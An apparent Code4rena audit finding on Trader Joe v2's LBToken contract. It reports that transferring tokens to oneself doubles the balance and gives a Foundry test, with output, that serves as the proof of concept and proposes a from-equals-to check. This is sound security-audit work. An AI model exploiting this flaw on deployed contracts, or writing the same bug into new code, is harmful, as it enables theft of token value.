Trader Joe v2 contest - bitbopper's results

Link to code

https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBToken.sol#L176::L196

Impact

When a malicious user decides to send LBTokens to their own address they will increase their own balance by the sent amount. Vulnerable function _transfer is reachable via the public functions safeBatchTransferFrom and safeTransferFrom.

L187 effectively saves _toBalance before _fromBalance is adjusted. If _from == _to attackers can effectively double their balance. The step can be endlessly repeated and leads to complete loss of value of whatever the LBToken represents.

Proof of concept

See recommended mitigation.

Recommended Mitigation Steps

Ensure that _from != _to in _transfer function. Add below code to test/LBToken.t.sol in order to catch regressions once the bug is fixed (test also works as proof of concept).

Code

function testSafeTransferFromToSelf() public {
    uint256 amountIn = 1e18;
    (uint256[] memory _ids, , , ) = addLiquidity(amountIn, ID_ONE, 5, 0);

    uint balance_amount_pre = pair.balanceOf(DEV, _ids[0]);
    pair.safeTransferFrom(DEV, DEV, _ids[0], balance_amount_pre);
    uint balance_amount_pos = pair.balanceOf(DEV, _ids[0]);

    if (balance_amount_pre != balance_amount_pos) {
        emit log_named_string("FAIL", "transfer to self increases balance");
        emit log_named_uint("balance before transfer", balance_amount_pre);
        emit log_named_uint("balance after  transfer", balance_amount_pos);
        emit log_named_uint("balance        increase", balance_amount_pos-balance_amount_pre);
    }

    assertEq(balance_amount_pos, balance_amount_pre);
}

Output

Running 1 test for test/LBToken.t.sol:LiquidityBinTokenTest
[FAIL. Reason: Undefined.] testSafeTransferFromToSelf() (gas: 1015343)
Logs:
  FAIL: transfer to self increases balance
  balance before transfer: 333333333333333333
  balance after  transfer: 666666666666666666
....